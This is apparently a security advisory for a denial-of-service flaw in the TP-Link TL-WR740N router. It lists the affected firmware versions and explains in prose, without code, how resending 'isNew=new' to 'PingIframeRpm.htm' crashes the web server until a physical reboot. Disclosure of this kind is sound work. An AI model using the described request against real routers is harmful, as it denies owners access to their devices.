  • TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service
    
    
    Vendor: TP-LINK Technologies Co., Ltd.
    Product web page: http://www.tp-link.us
    
    Affected version:
    
    - Firmware version: 3.17.0 Build 140520 Rel.75075n (Released: 5/20/2014)
    - Firmware version: 3.16.6 Build 130529 Rel.47286n (Released: 5/29/2013)
    - Firmware version: 3.16.4 Build 130205 Rel.63875n (Released: 2/5/2013)
    - Hardware version: WR740N v4 00000000 (v4.23)
    - Model No. TL-WR740N / TL-WR740ND
    
    Summary: The TL-WR740N is a combined wired/wireless network connection
    device integrated with internet-sharing router and 4-port switch. The
    wireless N Router is 802.11b&g compatible based on 802.11n technology
    and gives you 802.11n performance up to 150Mbps at an even more affordable
    price. Bordering on 11n and surpassing 11g speed enables high bandwidth
    consuming applications like video streaming to be more fluid.
    
    Desc: The TP-Link WR740N Wireless N Router network device is exposed to a
    denial of service vulnerability when processing a HTTP GET request. This
    issue occurs when the web server (httpd) fails to handle a HTTP GET request
    over a given default TCP port 80. Resending the value 'new' to the 'isNew'
    parameter in 'PingIframeRpm.htm' script to the router thru a proxy will
    crash its httpd service denying the legitimate users access to the admin
    control panel management interface. To bring back the http srv and the
    admin UI, a user must physically reboot the router.
    
    Tested on: Router Webserver
